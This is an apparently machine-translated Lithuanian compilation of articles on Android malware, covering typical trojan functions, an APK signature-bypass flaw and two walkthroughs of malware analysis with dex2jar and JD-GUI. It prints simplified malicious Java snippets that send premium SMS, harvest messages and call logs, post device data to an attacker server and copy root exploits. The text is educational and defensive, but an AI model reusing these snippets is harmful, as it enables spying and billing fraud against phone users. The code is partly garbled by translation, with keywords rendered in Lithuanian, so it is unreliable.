Kenkėjiškos programinės įrangos, skirtos „Android“, aprašymas. Android programų atidarymas, keitimas ir pakavimas Kenkėjiškų programų analizė

Kai kurių antivirusinių laboratorijų kenkėjiškų Android programų rinkinyje jau yra daugiau nei 10 milijonų pavyzdžių. Šis skaičius jaudina vaizduotę, tačiau maždaug 9 milijonai 995 tūkstančiai iš jų yra pervadinti originalių virusų kopijomis. Bet jei analizuosite likusių kelių tūkstančių kenkėjiškų programų pavyzdžių šaltinio kodą, pastebėsite, kad jie visi yra sujungti iš nedaugelio unikalių funkcinių blokų (keli modifikuoti ir sujungti skirtingais būdais).

Reikalas tas, kad virusų kūrėjai dažniausiai atlieka labai nereikšmingas užduotis:

  • siųsti SMS į mokamą numerį;
  • perimti konfidencialią vartotojo informaciją ( telefono numeriai, žinučių tekstai, duomenys iš SD kortelės ir pan.);
  • rinkti duomenis apie užkrėstą įrenginį;
  • perimti įrenginio administravimo teises (diegti programas be savininko leidimo arba piktybiškai išjungti įrenginį);
  • sekti prisijungimus, slaptažodžius ir mokėjimo kortelių duomenis, kuriuos vartotojas įveda internetinės bankininkystės sistemų svetainėse. Kaip jie tai padaro? Pabandykime prasiskverbti į tamsųjį mobiliosios virtualizacijos pasaulį ir pažiūrėkime, kas ten vyksta.

SMS siuntimas

Kas naudoja:

  • AdSms;
  • „FakePlayer“;
  • HippoSms.

Labiausiai paplitęs virusų tipas yra SMS Trojos arklys. Šie virusai tiesiog siunčia pranešimus mokami numeriai be vartotojo sutikimo. Labai lengva sukurti tokią programą arba perrašyti paruoštą norimą skaičių. O pašalpų gavimo procesas itin supaprastintas – kitaip nei, pavyzdžiui, sekant banko duomenis.

Toliau nurodyta paprasčiausias pavyzdys kodas. Tai pagrindinė funkcija SMS siuntimas. Tai gali būti sudėtinga patikrinus siuntimo būseną, pasirinkus numerius pagal abonento vietą ir ištrynus SMS žinutę.

Privatus statinis SendSms (String DestNumber, String SmsText) ( // Bandoma paleisti SmsManager objekto sendTextMessage metodą ( standartine programa siųsti SMS iš dabartinis įrenginys) su minimaliu parametrų skaičiumi: gavėjo numeris ir pranešimo tekstas try( SmsManager.getDefault().sendTextMessage(DestNumber,null,SmsText,null,null); return true; ) )

Kur ieškoti viruso kodo

Daugeliu atvejų telefonas užkrėstas įdiegus programas. Bet kuri „Android“ programa egzistuoja kaip failas su apk plėtiniu, kuris iš esmės yra archyvas. Jo turinį galite peržiūrėti iš naudojant Android SDK, APK į JAR failų keitiklis ir Java baitų kodo dekompiliatorius. Programos kūrimas (APK) susideda iš šių dalių:

  • resources.arsc - išteklių lentelė;
  • res (aplankas) - faktiniai ištekliai (piktogramos ir kt.);
  • META-INF (aplankas) – yra failai su tokiu turiniu: išteklių kontrolinės sumos, programos sertifikatas ir APK rinkinio aprašymas;
  • AndroidManifest.xml – visų rūšių paslaugų informacija. Įskaitant leidimus, kurių programa prašo prieš įdiegdama, kad ji tinkamai veiktų;
  • classes.dex – tikriausiai esate tai girdėję Android operacinės sistemos sistemose, visas kodas vykdomas naudojant Dalvik virtualią mašiną (pradedant nuo 4.4 versijos, atsiranda ART palaikymas), kuri nesupranta įprasto Java baitinio kodo. Štai kodėl yra failų su plėtiniu dex. Jame, kartu su būtinomis ir naudingomis klasėmis (kurios yra atsakingos už programos funkcionalumą), taip pat yra kenkėjiškų (viruso kodas, kurį analizuojame šiame straipsnyje).

Vartotojo informacijos įrašymas į tekstinis failas

Kas naudoja:

  • NickySpy;
  • SmsSpy.

Yra tam tikra virusų kategorija, kuri grobia vartotojų asmeninius duomenis. Jų veikimo mechanizmas taip pat paprastas. Jie arba įkelia vartotojo failus į savo kūrėjo serverį, arba iš anksto surenka kai kuriuos duomenis txt formatu (CSV, XML – nesvarbu). Užpuolikams gali sudominti bet kokio tipo kontaktai, žinutės iš skirtingų momentinių pranešimų siuntėjų, medijos failai ir kt.

Užkrėstų vartotojų SMS žinutės ypač vertingos siuntėjų ir gavėjų telefonų numeriams – jomis galima papildyti nepageidaujamų laiškų duomenų bazę. Rečiau tokio pobūdžio virusais užkrėsti konkrečių asmenų įrenginiai – kitą kartą, kai draugė pakvies išbandyti jos parašytą Android aplikaciją (ak, caramba! – Red.), nenusileisk :) .

// Suskaičiuokite SMS žinučių skaičių įrenginyje arrayOfObject = (Object)localBundle.get("pdus"); int j=OfObject.length; // Pereiti kiekvieną SMS žinutę i=1, o (true) (if(i>=j) pertrauka; // Sukurti SMS žinutės objektą SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte)arrayOfObject[i]); // Įdėkite į eilutės kintamuosius siuntėjo numerį, tekstą ir SMS siuntimo laiką Eilutę MessageNumber = localSmsMessage.getOriginatingAddress(); String MessageText = localSmsMessage.getDisplayMessageBody(); long l= localSmsMessage.getTimestampMillis(); Data localDate=new Date(l); String MessageTimeDate = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate); // Suformuokite eilutę iš gautų duomenų ir įrašykite ją į tekstinį failą naudodami pasirinktinį WriteRec metodą String MessageInfo= 7MessageNumber+ "#"+ MessageText+"#" + MessageTimeDate+";" WriteRec(paramContext,"sms.txt",MessageInfo); // Pereiti prie kito pranešimo i+=1; ) Taip pat patogu papildyti šlamšto sąrašą iš prenumeratoriaus skambučių istorija. Šį kodą galima paleisti, kai yra gaunamas skambutis: If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) ( // Įveskite abonento numerį į kintamąjį String phonenumber=paramIntent.getStringExtra( "android.intent. extra.PHONE_NUMBER"); // Suformuokite eilutę iš skambučio numerio ir datos String PhoneCallRecord= telefono numeris +"#"+getSystemTime(); // Iškvieskite WriteRec() metodą (jo kodas nėra pateikta čia), kuri prideda eilutę prie teksto failo su skambučių istorija WriteRec(paramContext,"phonecall.txt", PhoneCallRecord); )

Užfiksavus informaciją, ji persiunčiama į „dešiniąsias rankas“. Toliau pateiktas kodas įkelia skambučių istoriją į serverį:

Private void uploadPhonecallHistory() išmeta IDException ( while(true) ( ​​Return; // Patikrinkite, ar mums reikalingas failas egzistuoja if(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt")) tęsti; // Sukurkite objektą – failų įkėlimo programa UploadFiles localUploadFiles=new UploadFiles(); String uploadkeynode=getKeyNode("uid","uid_v"); // Paleiskite method.advanceduploadfile (jos kodas čia nenurodytas), kad įkeltumėte failą į „virusų kūrėjo“ serveris localUploadFiles. advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt"); ) )

Informacijos rinkimas

Kas naudoja:

  • DroidKungFu;
  • DroidDream;
  • didžioji dauguma visų panašių tipų kenkėjiškų programų.

Iš esmės bet kuriam virusų gamintojui būtų naudinga informacija apie įrenginius, užkrėstus jo programomis. Tai labai lengva gauti. Sukuriamas masyvas su duomenimis apie telefono ypatybes (jų visas sąrašas galima rasti Android kūrėjo vadove) ir siunčiama kaip POST užklausa PHP scenarijui (kalba nesvarbi) užpuoliko serveryje, kuris apdoroja duomenis ir įkelia juos į duomenų bazę, kad vėliau būtų galima naudoti.

Privatus void reportState(int paramInt, string paramString) ( // Sukurkite masyvą ir įdėkite jį į oficialią informaciją ArrayList UserInformation=new ArrayList(); UserInformation.add(new BasicNameValuePair("imei", this.mImei)); UserInformation.add(new BasicNameValuePair("užduotis", this.mTaskId)); UserInformation.add(new BasicNameValuePair("būsena", Integer.toString(paramInt))); // Jei funkcijai nustatytas parametras „paramString(comment)“, įdėkite jį į masyvą if(paramStrng !=null)&&(!".equals(paramString))) UserInformation.add(new BasicNameValuePair("comment") , paramString )); // Sukurkite HTTP POST užklausą su scenarijaus, kuris renka duomenis, adresu HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php"); try ( // Pridėkite mūsų duomenų masyvą prie užklausos ir vykdykite jį naudodami standartinį HTTP klientą localHttpPost.setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8"))); naujas DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode(); grąžinti; ) )

Įsišaknijimas

Kas naudoja:

  • DroidKungFu;
  • DroidDream;
  • RootSmart.

Vienas iš blogiausių dalykų, kurie gali nutikti „Android“ įrenginiui, yra viruso įsišaknijimas. Juk po to kenkėjiška programa gali su ja daryti bet ką: įdiegti kitus virusus, keisti nustatymus aparatūra. Šis veiksmas atliekamas nuosekliai paleidžiant išnaudojimus:

Privatus void RootFunc() ( ApplicationInfo localApplicationInfo =getApplicationInfo(); /*"ratc" yra garsiojo Rage Against The Cage šakninio išnaudojimo kopija. Kiall – sustabdo visus dabartinės programos vykdomus procesus. Gjsvro – išnaudojimas udev teisėms įsigyti ( naudojamas Linux sistemose pažangiam darbui su technine įranga ir tinklo sąsajomis). Nukopijuokite visa tai į reikiamą vietą */ Utils.copyAssets(this,"ratc","/data/data"+localApplicationInfo.packageName + "/ratc"); Utils .copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall"); Utils.copyAssets(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/ gjsvro "); //Ir paleiskite naudodami komandinę eilutę Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc"); Utils.oldrun("/system / bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + " / gjsvro"); naujas MyTread.start(); )

Svetainės apie mobiliąsias kenkėjiškas programas

Kasperskiy Lab ekspertų tinklaraštis Šiame šaltinyje yra aukštos kokybės ir išsamių straipsnių apie daugelį kompiuterių saugos aspektų, įskaitant Android virusus. Verta reguliariai lankytis šioje svetainėje, kad sužinotumėte apie naujausius pokyčius.

Grupė skirta atvirojo kodo įrankiui, skirtai visoms manipuliacijoms su Android programos kodu (DEX/ODEX/APK failų dekompiliavimui ir modifikavimui ir pan.). Androguard taip pat yra didelė straipsnių apie virusus duomenų bazė. Be trumpų funkcionalumo ir apsaugos metodų apžvalgų, yra išsamias analizes kenkėjiškų programų kodas.


Mobiliųjų grėsmių skyrius www.fortiguard.com Telefono virusų enciklopedija. Kiekvienas straipsnis yra funkcionalumo apžvalga, pagardinta daugybe techninių detalių. Be informacijos apie grėsmes operacinei Android sistemos, taip pat yra straipsnių apie Symbian OS, iOS ir kitoms platformoms skirtus virusus.


Apsauga nuo viruso

Kai kurie vartotojai mano, kad jei atsisiunčiate programas tik iš Google Play ir įdiekite antivirusinę savo išmaniajame telefone, tai visiškai garantuoja saugumą. Neapgaudinėkite savęs: internete reguliariai pasirodo pranešimai apie oficialioje rinkoje aptiktas kenkėjiškas programas. O naujai atsiradusių kenkėjiškų programų skaičius matuojamas šimtais tūkstančių per mėnesį, todėl joms sunku laiku patekti į duomenų bazes. antivirusines programas. Tikra saugumo garantija gali atsirasti rankiniu būdu peržiūrėjus APK failo kodą prieš jį įdiegiant telefone. Nereikia būti kodavimo guru, kad pastebėtumėte kenksmingus fragmentus. Ir mūsų straipsnis padės jums tai padaryti.

Išvada

Kaip matome iš pavyzdžių, mobiliųjų virusų kūrimas nesiskiria technologiniu sudėtingumu. Žinoma, šie pavyzdžiai yra supaprastinti, kad atitiktų žurnalo formatą – visų pirma praleistos klaidų ir išimčių tvarkyklės, taip pat tam tikros techninės detalės, kurių nebuvimas netrukdys suprasti „Android“ kenkėjiškų programų principų, tačiau apsaugoti jus nuo nereikalingų eksperimentų. Mes nepalaikome virusų kūrimo, ar ne? 🙂

Papildomas laukas yra pažeidžiamumas Google Android, leidžianti užpuolikams keisti turinį diegimo paketas bet kokią šios OS programą, nepažeidžiant jos skaitmeninio parašo. Naudodami šį pažeidžiamumą virusų kūrėjai gali platinti Trojos arklys, įtraukdami kenkėjišką komponentą į bet kurią teisėtą ar patikimą programą.

Dr.Web antivirusinė programa Android negali pašalinti šio pažeidžiamumo, nes jis aptinkamas pačios operacinės sistemos lygmeniu, tačiau sėkmingai aptinka ir pašalina jos pagalba plintančias kenkėjiškas programas net tada, kai jos bando prasiskverbti ir paleisti apsaugotame įrenginyje. .

Techninės detalės

Programų paskirstymai Google sistemos„Android“ platinami .APK failų pavidalu, kurie yra ZIP archyvas, kuriame yra visi komponentai, reikalingi programai veikti. Diegiant programą, jos išgaunamos iš archyvo, o jų kontrolinės sumos tikrinamos pagal specialų sąrašą. Kiekviena programa turi savo skaitmeninį parašą.

Pažeidžiamumo išnaudojimas Papildomas laukas, užpuolikai gali pakeisti APK archyvo struktūrą: į jo paslaugų lauką įtraukdami vieno iš pradinių programos komponentų (ypač failo classes.dex) vertę be pirmųjų trijų baitų ir vienu metu įdėdami jį į savo vietą. modifikuota versijašį failą, pastarąjį operacinė sistema suvokia kaip teisėtą ir leidžia jį įdiegti. Nors galimą šio pažeidžiamumo naudojimą riboja dex failo dydis, kuris turi būti ne didesnis kaip 65 533 baitai, ataka suinteresuoti kibernetiniai nusikaltėliai gali nesunkiai ja pasinaudoti, remdamiesi nekenksminga programa ar žaidimu, kuriame yra atitinkamo dydžio.

Faile classes.dex yra sukompiliuotas programos kodas APK faile. APK paketo antraštėje yra vietos, kurioje saugomas failo su plėtiniu .dex pavadinimas, taip pat laukas, vadinamas papildomu lauku, kuriame saugomas classes.dex failo turinys ir programos naudojamų klasių sąrašas. Jei antraštės laukas sutrumpinamas trimis baitais, pasikeičia atitinkamo lauko ilgis, todėl užpuolikai į papildomą lauką gali įtraukti originalų classes.dex, taip pat kenkėjišką šio failo kopiją, kurios dalis taip pat bus patalpinta. papildomame lauke. Modifikuotame lauke gali būti užpuolikų sukurtų klasių, kuriose yra kenkėjiškų funkcijų. Diegiant programą, operacinė sistema nuskaito turinį šios srities, dėl ko atakuotame įrenginyje įdiegiamas užpuolikų modifikuotas failas classes.dex.

Pametėte programos šaltinio kodą ir turite jį atkurti. Atsisiuntėte programą su virusu ir norite sužinoti, ką ji veikia.

Android programos platinamos archyvuose. Šie archyvai turi plėtinį „.apk“. Tokie failai nėra užšifruoti ir iš esmės yra ZIP failai. Norėdami tai patikrinti, galite pervardyti apk failą į ZIP.

Turite įsigilinti į APK failą ir gauti tam tikrų duomenų. Galite treniruotis ant kačių. Paimkime mūsų programą „Hello Kitty“ ir projekto aplanke suraskime jos apk failą app\build\outputs\apk ir perkelkite į atskirą aplanką eksperimentams.

Išpakavę archyvą galite pamatyti programos struktūrą ir susidurti su pažįstamais failais. Ir netgi išskleiskite kai kuriuos failus peržiūrai. Pavyzdžiui, aplanke res/drawable-hdpi-v4 Radau savo nuotrauką pinkhellokitty.png. Atrodytų, tai yra laimė. Bet palauk, džiaukis. Jei nėra problemų su vaizdais, skaityti XML failą bus sunku. Galite pamatyti keletą eilučių, bet apskritai tekstas yra visiškai neįskaitomas. Taigi pirmiausia eikime kitu maršrutu.

Kadangi tinkintos „Android“ programos veikia „Java“ įrenginyje, APK failai paveldi visas JAR failų savybes.

Archyvo turinys paprastai atrodo maždaug taip:

META-INF kataloge yra:

CERT.RSA – programos sertifikatas
CERT.SF – išteklių failų (nuotraukų, garsų ir kt.) kontrolinės sumos
MANIFEST.MF – paslaugos informacija, apibūdinanti patį apk failą

Kenkėjiškų programų analizė

Kaip pavyzdį paimkime programą įtartinas.apk, kurią įvairios antivirusinės programos aptinka kaip kenkėjišką programą.

Norėdami geriau suprasti, ko tiksliai ieškoti, turite išanalizuoti failą „AndroidManifest.xml“ – tiksliai sužinokite, kokių leidimų reikia analizuojamai programai. Šis failas dvejetainis, o ne įprastas tekstas xml. Norėdami jį perskaityti, turite naudoti konsolės įrankį „aapt“ iš rinkinio Android SDK. Jis yra kataloge „platform-tools“. Kadangi nėra grafinės sąsajos, komandą reikia įvesti konsolėje. Pavyzdžiui, „Windows“:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk

Žinoma, jūs turite pakeisti savo kelius. „Linux“ komanda bus tokia pati su akivaizdžiais skirtumais (nebus disko raidžių ir „exe“ plėtinio, skirto programai). Kad būtų patogiau, išvestis gali būti nukreipta į failą:

C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk>>C:\incoming\manifest.txt

Faile turite rasti skyrių „Android manifestas“ ir ieškoti leidimų sąrašo. Analizuojamame faile jis atrodo taip:

"android.permission.READ_PHONE_STATE" (neapdorotas: "android.permission.READ_PHONE_STATE") "android.permission.INTERNET" (neapdorotas: "android.permission.INTERNET") "android.permission." (Neapdorotas: "android.permission.RECEIVE_SMS")

Iš šios informacijos tampa aišku, kad programa gali gauti telefono būseną (tai apima, pavyzdžiui, „telefonas skambučio režimu“, „telefonas duomenų priėmimo režimu“). Šis leidimas taip pat reikalingas norint gauti telefono numerį, kuriame veikia programa, dirbti su tinklu ir stebėti SMS žinutes. Būtent į šiuos aspektus reikia sutelkti dėmesį atliekant tolesnę analizę.

Norėdami gauti prieigą prie kodo, turite atlikti du veiksmus – konvertuoti apk failą į jar failą ir iškompiliuoti gautą baitinį kodą į lengviau skaitomą formą.

Naudokime konverterį „dex2jar“:

C:\dex2jar\dex2jar.bat C:\incoming\suspicious.apk

Konvertuotas failas bus tame pačiame kataloge kaip ir originalus failas. „.dex2jar.jar“ bus pridėtas prie jo pavadinimo, tai yra, šiame pavyzdyje tai bus „suspicious.apk.dex2jar.jar“.

Šį failą galima atidaryti naudojant dekompiliatorių. Paketų hierarchija dekompiliatoriaus lange atrodo taip:


Tuo parengiamieji žingsniai baigiasi – tolimesnė sėkmė priklauso tik nuo jūsų Java žinių ir gebėjimo naudotis paieškos sistema.

Laimei, pavyzdžiui pasirinktas pavyzdys gana kuklus – galutinis indelis tik 7,01 KB.

Programoje yra tik šešios klasės. Išskirkime tuos, kurie neįdomūs. Tai R klasė, kurioje pateikiami tik visų išteklių identifikatoriai. Taip pat galite neįtraukti šios klasės konfig, kuriame yra kūrimo konfigūracija.

Pažvelkime atidžiau į likusias tris klases.

Aktyvinimas

Šią klasę suaktyvina įvykis onCreate (), tai yra iš karto po paraiškos pradžios.

TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("telefonas");- kuria localTelephonyManager, kuriame saugomi įrenginio duomenys.

str1 = localTelephonyManager.getDeviceId();- iš gautų duomenų pasirenka įrenginio identifikavimo numerį ir įdeda jį į str1 eilutę

Toliau ateina ciklas, kuris dalijasi Įrenginio IDį keturių skaičių dalis, tarp jų įterpiant brūkšnelį „-“, tai yra, iš XXXXXXXXXXXXXXXX gauname XXXX-XXXX-XXXX-XXXX. Gauta skaičių ir brūkšnelių eilutė perduodama į TextView su ID 2131034112.

SMS imtuvas

Ši klasė suaktyvinama, kai gaunama SMS žinutė, įvykis onReceive ().

Šios klasės užduotis yra stebėti gaunamus SMS ir, jei aptinkama, paleisti klasę Pagrindinė paslauga, perduodamas žymeklį į naują gaunamą pranešimą.

Pagrindinė paslauga

Ši klasė yra gana didelė, todėl neišvardinsiu jos visos. Iš karto po skambučio paleidžiamas „SmsBlockerThread“ poklasis, kuris blokuoja pranešimus apie gaunamą SMS, kad vartotojas nebūtų įspėtas apie naują gaunamą SMS.

Tada gaunama SMS apdorojama taip:

String str1 = localSmsMessage.getOriginatingAddress();- gavėjo telefono numeris (ty telefono numeris, kuriame įdiegtas Trojos arklys) yra įdėtas į kintamąjį str1.

String str2 = localSmsMessage.getMessageBody();- pranešimo tekstas dedamas į str2 kintamąjį

Tada sukuriamos susijusios poros localBasicNameValuePair1 Ir localBasicNameValuePair2į kurią dedamos vertybės

F0=<номер телефона>b0=<текст сообщения>

Šios poros saugomos localArrayList masyve, prie kurio vėliau pora pridedama localBasicNameValuePair3, reiškia id=

Tuo pačiu metu, kaip matote, Įrenginio ID gaunamas iš naujo, o ne naudojant tai, kas buvo gauta klasėje Aktyvinimas. Pasibaigia iškviečiamas metodas postRequest() iš paskutinės klasės Serverio sesija:

Pabandykite ( JSONObject localJSONObject = ServerSession.postRequest(new UrlEncodeFormEntity(localArrayList)); grįžti; )

Tas pats porų masyvas perduodamas kaip parametras, kuriame yra telefono numeris, SMS turinys ir įrenginio identifikatorius.

Serverio sesija

Ši klasė turi du metodus: initUrl() kuri grąžina nuorodos dalį „(http://softthrifty.com/security.jsp)“:

Vieša statinė eilutė initUrl() (grįžta „http://softthrifty.com/security.jsp“; )

ir puikus metodas postRequest(), kuri skambino iš klasės Pagrindinė paslauga. Nepaisant dydžio, užduotis postRequest() paprastas - nusiųskite į serverį naudodami metodo grąžintą nuorodą initUrl(), duomenis pridedant poras iš surinkto masyvo Pagrindinė paslauga. Tai yra, tiesiog sekite nuorodą:

(http://softthrifty.com/security.jsp?f0=<номер телефона>&b0=<текст сообщения>&id= )

Apatinė eilutė

Taigi, šis Trojos arklys perima SMS ir siunčia serveriui užklausą, kurioje perduoda užkrėsto telefono numerį, SMS žinutės turinį ir užkrėsto telefono identifikatorių. Toks elgesys gali būti bankinio Trojos arklys, kuris atakuoja dviejų veiksnių autentifikavimą, požymis. Kad ataka būtų sėkminga, turi būti įvykdytos šios sąlygos:

1) užpuolikas turi užkrėsti aukos kompiuterį, kad galėtų perimti internetinės bankininkystės duomenis;
2) užpuolikas turi užkrėsti aukos telefoną, kad perimtų SMS su patvirtinimo kodu iš banko;
3) užpuolikas turi kažkaip susieti užkrėsto kompiuterio vartotoją ir užkrėstą telefoną, kad žinotų, iš kurių internetinės bankininkystės kredencialų yra šis patvirtinimo kodas;

Dėl savo dydžio ir akivaizdaus aktyvumo toks pavyzdys puikiai tinka eksponavimui pagrindinės technikos„Android“ skirtos kenkėjiškų programų analizė.

Kenkėjiškos programos aprašymas programinė įranga skirta Android

Aleksandras Antipovas

„McAfee“ ataskaitoje apie galimų grėsmių būklę pirmąjį šių metų ketvirtį nurodyta, kad buvo nustatyti 6 milijonai unikalių kenkėjiškų programų pavyzdžių.


„McAfee“ ataskaitoje apie galimų grėsmių būklę pirmąjį šių metų ketvirtį nurodyta, kad buvo nustatyti 6 milijonai unikalių kenkėjiškų programų pavyzdžių. Šia prasme produktyviausias pagal aptiktų kenkėjiškų programų skaičių, lyginant su visų ankstesnių metų tais pačiais laikotarpiais, buvo 2011 m. I ketvirtis. „McAfee“ ataskaitoje pažymima, kad „Android“ įrenginiai vis dažniau tampa kenkėjiškų programų nešėjais. Anot ekspertų, pirmąjį šių metų ketvirtį „Android“ tapo antru pagal populiarumą mobiliuoju taikiniu kibernetiniams nusikaltėliams po „Symbian“.

Šiame straipsnyje apžvelgsime įvairius programinės įrangos analizės etapus, taip leisdami suprasti, kas tiksliai yra pažeidžiamumas. Android platformos ir kaip užpuolikai jais naudojasi. Pirmiausia pradėsime aptardami „Android“ kūrimo istoriją, o tada pereisime prie pagrindų, kaip veikia platformos konfigūracijos paketai. Tuo pačiu metu išsamiai išanalizuosime visas kenkėjiškas programas, su kuriomis susiduriame ir kurios yra skirtos konkrečiai „Android“.

Įvadas į Android platformą

Android yra Operacinė sistema Dėl Mobilieji telefonai, komunikatoriai, planšetiniai kompiuteriai ir kiti įrenginiai, pagrįsti „Linux“ branduoliu. Kūrėjai rašo programas „Android“ daugiausia „Java“ kalba, numatydami įrenginio valdymą naudojant „Google“ sukurtą „Java“ biblioteką. „Android Java“ kompiliatorius sukompiliuoja kūrėjo failų rinkinį į klasės failus, o tada klasės failai konvertuojami į dex failus. Šie failai turi baitinį kodą, specialiai naudojamą atpažinimui Virtuali mašina Dalvik yra „Java“ baito kodo vykdymo aplinka (JVM), veikianti tinkintoje „Android“ programoje. XML failai konvertuojami į dvejetainį formatą, kuris yra optimizuotas mažiems failams kurti. .dex failai, dvejetainiai XML failai ir kiti ištekliai, reikalingi programoms paleisti, yra supakuoti į „Android“ paketo failą. Šie failai turi plėtinį .apk, bet yra standartiniai ZIP failai. Sugeneravus apk paketą, kūrėjas jį skaitmeniniu parašu pasirašo ir įkelia į Android Market per „Google“ svetainę, iš kurios vartotojas gali atsisiųsti šiuos APK failus ir įdiegti juos savo „Android“ įrenginyje. Šiuo metu centrinėje Android programėlių parduotuvėje galima atsisiųsti daugiau nei 2 milijonus programėlių, nepamirškime, kad Google Android programėles galima parsisiųsti ir iš kitų trečiųjų šalių svetainių.

Reikalavimai

  • Apk failų išskleidimo įrankis - Winzip
  • Įrankis konvertuoti .dex failus į .jar failus:... Dex2jar
  • Grafinis Java dekompiliavimo įrankis: JD-GUI
  • „Android“ kenkėjiškų programų pavyzdžiai analizei

Išsamūs žingsniai

I veiksmas:
Norėdami pradėti kenkėjiškų programų analizės procedūrą, pirmiausia turite atsisiųsti kenkėjišką pavyzdį, taikomą „Android“ platformai. Šiuo atveju atsisiųsime iCalendar.apk, kuri buvo viena iš 11 įtartinų programų, pašalintų iš „Android Market“, nes buvo rasta kenkėjiškų programų „Gadget Media“. Išbandžius užklausą „VirusTotal“, aptikimo rodiklis yra 46,5%, kaip parodyta toliau pateiktame paveikslėlyje.


Ryžiai. 1

II žingsnis:

Išskleiskite iCalendar.apk failą naudodami Winzip, tada galėsite peržiūrėti .apk failo turinį

Ryžiai. 2. .dex ir. XML failai, aptarti anksčiau šiame straipsnyje, parodyti Fig. 2.

III žingsnis:

Kitas žingsnis yra vykdyti kodą naudojant „dex2jar“ įrankį. dex2jar įrankių rinkinys konvertuoja Dalvik vykdomuosius .dex failus į Java .class failus. „Classes.dex“ – failas iš mūsų programos patenka į „dex2jar“ katalogą ir konvertuojamas naudojant šią komandą: dex2jar.bat classes.dex.

Ryžiai. 3 Sukurkite "classes.dex.dex2jar.jar" failus viename kataloge.

Ryžiai. 4

IV žingsnis:

.class failams peržiūrėti naudojome JD-GUI. Atidarykite failą „Classes.dex.dex2jar.jar“ naudodami JD-GUI.

Ryžiai. 5: rodomas visas Android programų šaltinio kodas.

V žingsnis:
Gavęs pirminis kodas programą, galite analizuoti tikrąjį šaltinį ir patikrinti, ar nėra problemų. Pastebėta, kad failas klasės pavadinimu „SmsReceiver.class“ atrodo kiek keistai, nes tai yra programų kalendorius, o SmsReceiver šiuo atveju nereikalingas. Toliau patikrinus šaltinio kodą „SmsReceiver.class“, buvo nustatyta, kad jame yra trys numeriai 1066185829, 1066133 ir 106601412004, kurie atrodė gana įtartinai. Visų pirma situacija panaši į bandymą blokuoti pranešimus, siunčiamus iš nurodytus skaičiusįjungta Android įrenginys, Kada šią programą buvo įdiegtas ir paleistas.

Ryžiai. 6

Atlikus šių numerių paiešką per Google, buvo nustatyta, kad tai yra SMS paslaugų numeriai, įmonės nuosavybė China Mobile (7 pav.).

Ryžiai. 7

Bandėme išanalizuoti, kodėl programa bando blokuoti pristatymo ataskaitas iš pirmiau nurodytų skaičių, atlikdama tolesnius veiksmus.

VI žingsnis:
Baigę „SmsReceiver.class“ failo analizę, pereiname prie kito .class failo kodo analizės, t.y. "iCalendar.class". Pirmasis atrodo įtartiniausias. Visų pirma pastebėjome, kad funkcijoje showImg () yra tam tikra funkcija sendSms ().

Ryžiai. 8

Taigi, mes pradėjome failo "sendSms()" patikrinimą, kad pamatytume komandų vykdymo ypatumus. Kaip parodyta paveikslėlyje žemiau, matome, kad suaktyvinus sendSms() funkciją, SMS žinutė su tekstu 921X1 automatiškai siunčiama numeriu 1066185829.

Ryžiai. 9

VII žingsnis:
Funkcijos sendSms() pabaigoje pastebėjome, kad yra funkcijos išsaugojimo komanda. Taigi kode ieškojome funkcijos save () ir radome jos tiesioginį ryšį su funkcija sendSms ().

Ryžiai. 10

Atlikus tinkamą analizę ir išsiaiškinus įvairius išsaugojimo() funkcijos aspektus, buvo nustatyta, kad eilutė "Y" perduodama kiekvieną kartą, kai vykdoma funkcija save(). Be to, buvo padaryta išvada, kad funkcija sendSms() gali būti iškviesta tik vieną kartą, bet ne daugiau, nes funkcijai sendSms() yra nustatytas „if“ ciklas.

VIII žingsnis:
Sujungę visos atliktos analizės rezultatus, galite susidaryti aiškų vaizdą apie visapusišką įvairių tipų kenkėjiškų programų veikimą.

Programa siunčia SMS žinutę aukščiausios kokybės numeriu 1066185829 su tekstu 921X1. Tuo pačiu metu blokuojamos bet kokios šiuo numeriu gaunamos žinutės pristatymo ataskaitos, todėl nukentėjusysis negaus jokio signalo apie tokios SMS, išsiųstos iš aplikacijos. fone. Be to, SMS siunčiama tik vieną kartą, o nukentėjusysis iš tikrųjų negali įtarti, dėl ko iš tikrųjų buvo nurašytos lėšos iš sąskaitos.

Ryžiai. 11: Išsamios išvados apie iCalendar.apk ciklo kenkėjiškas programas

Išvada:

Kenkėjiška programa, turinti pagrindinę prieigą prie telefono, ne tik gali nuskaityti bet kokius jame saugomus duomenis, bet ir gali juos perkelti į absoliučiai bet kurią vietą. Ši informacija gali apimti Kontaktinė informacija, dokumentus ir net paskyros slaptažodžius. At šaknies buvimas prieigą, galima įdiegti kitus komponentus, kurių negalima peržiūrėti vartotojo sąsaja telefoną, todėl jų negalima lengvai išimti. Toliau pateikiami pagrindiniai būdai, kaip apsaugoti programas nuo kenkėjiškų programų, skirtų „Android“ platformai:
  • Atsisiųskite programą tik iš patikimų šaltinių;
  • Atitinkamų įvertinimų ir apžvalgų patikrinimas prieš atsisiunčiant programą;
  • Kruopštus konkrečių programų leidimų įvertinimas;
  • OS diegimas Android naujinimai, kai jie yra paruošti;
  • Programų, skirtų mobiliosioms programoms apsaugoti, diegimas.

